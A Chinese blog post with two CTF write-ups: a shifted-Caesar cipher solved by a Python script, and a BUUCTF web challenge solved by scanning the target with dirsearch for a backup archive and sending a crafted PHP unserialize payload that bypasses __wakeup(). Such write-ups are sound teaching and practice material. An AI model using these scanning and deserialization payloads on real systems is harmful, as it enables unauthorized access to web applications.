x2658y's Blog

杂七杂八的记事本

题目:

1
2
加密密文:afZ_r9VYfScOeO_UL^RWUc
猜测明文:flag{...}

看标题, 变异凯撒, 想必这题就是基于凯撒密码延伸出来的, 有了上次的经验, 我们再把这个字符的ASCII码拿来对比一下, 密文不外乎又是一些移位变换出来的

1
2
3
4
5
6
7
8
9
10
11
def show_ascii(*args):
for e in args:
ascii_list = []
for i in e:
ascii_list.append(ord(i))
print(ascii_list)

show_ascii("afZ_r9VYfScOeO_UL^RWUc", "flag")

#[97, 102, 90, 95, 114, 57, 86, 89, 102, 83, 99, 79...]
#[102, 108, 97, 103]

可以看到, 密文的前4位的ASCII码比 "flag" 这4个字符从第1位起依次大了5, 6, 7, 8, 后面的以此类推. 写出解密脚本即可拿到flag.

1
2
3
4
5
6
7
ciphertext = "afZ_r9VYfScOeO_UL^RWUc"
res = ''
for i in range(0,len(ciphertext)):
res += chr(ord(ciphertext[i])+(5+i))
print(res)

#flag{Caesar_variation}

进去看到主页是一只猫, 移动鼠标可以用毛线团逗它, 出个题前端也也是费心了

image-20211101230918054

上面说, 有备份网站的习惯, 所以我们就扫描服务器找出备份文件, 使用dirsearch这个脚本

下载地址: Github

1
python ./dirsearch.py -e php -u http://0c3bed09-f748-4307-ba14-135d78a27e92.node4.buuoj.cn:81/

-e 指定服务器运行环境

-u 指定网站目录

PS: 我自己扫了很久也没扫完, 看别人的WP扫出了www.zip, 我们就从这里开始

下载www.zip解压得到5个文件

image-20211101231756440

index.php关键代码:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

index.php引入了class.php, 然后反序列化参数select的值, 先去看看class.php有什么

flag.php里的那个flag是错的

class.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

这里就要用到php反序列化的知识了, 我们先在本地制作好payload

image-20211101234324256

审计代码, 用户名为"admin", 密码为100("100"也行, 弱相等)时, 并使__wakeup()不执行, 就能拿到flag

序列化后的对象:

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

当序列化文本中指定的对象属性个数大于实际个数时, __wakeup()方法就不会被执行 ,实际上是2个, 我们改成3个:

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

提交上去看看

image-20211102000144789emmm, 跟我想的不一样

经过一番查找得知: Name类的两个属性是private的, 只能在类中访问, 在序列化后的文本中要用%00将类名和属性名分隔开, 所以正确的序列化文本应该是:

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

再次提交:

image-20211102000537580

成功拿到flag

0%